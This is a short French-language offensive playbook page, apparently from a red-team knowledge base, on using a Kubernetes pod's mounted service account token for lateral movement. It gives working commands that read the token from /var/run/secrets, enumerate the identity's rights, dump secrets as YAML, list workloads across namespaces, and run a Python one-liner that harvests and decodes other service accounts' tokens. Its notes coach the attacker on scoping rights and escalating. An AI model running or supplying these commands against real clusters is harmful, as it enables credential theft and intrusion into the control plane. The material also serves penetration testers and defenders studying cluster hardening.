Le jeton monté dans chaque pod est un identifiant bearer pour l'API server, et l'utiliser est le premier pas latéral d'un point d'appui dans un conteneur vers le plan de contrôle. Le mouvement consiste à s'authentifier avec le jeton, à énumérer précisément les droits de l'identité, puis à exercer tout ce que ces droits permettent, qu'il s'agisse de lire des secrets, de lister des workloads pour planifier la suite du déplacement, ou d'invoquer un verbe d'escalade.
APISERVER=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT
T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
C=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# what can this identity do?
kubectl --token="$T" --certificate-authority="$C" --server="$APISERVER" auth can-i --list
# exercise it: read secrets in a namespace the token can reach
kubectl --token="$T" --certificate-authority="$C" --server="$APISERVER" \
-n <ns> get secrets -o yaml
Transformer des droits en mouvement#
# list workloads to map targets and find more tokens
kubectl --token="$T" ... get pods,deploy,sa -A
# if the identity can read secrets, harvest tokens for other identities
kubectl --token="$T" ... get secrets -A -o json | \
python3 -c 'import sys,json,base64;[print(base64.b64decode(s["data"]["token"]).decode()[:50]) for s in json.load(sys.stdin)["items"] if s.get("data",{}).get("token")]'
Notes d'exploitation#
auth can-i --listd'abord, toujours : il définit la portée de l'identité et vous indique laquelle des options (lire des secrets, créer des pods ou un verbe d'escalade) est disponible, de sorte que vous ne gaspillez pas de tentatives.- Un compte de service par défaut sans aucune liaison peut tout de même réaliser de la découverte du cluster (lister certaines ressources) dans beaucoup de clusters ; même cela cartographie des cibles pour le mouvement suivant.
- Lorsque les droits incluent un verbe d'escalade, poursuivez dans le groupe Escalade de privilèges RBAC plutôt que de vous déplacer uniquement de côté.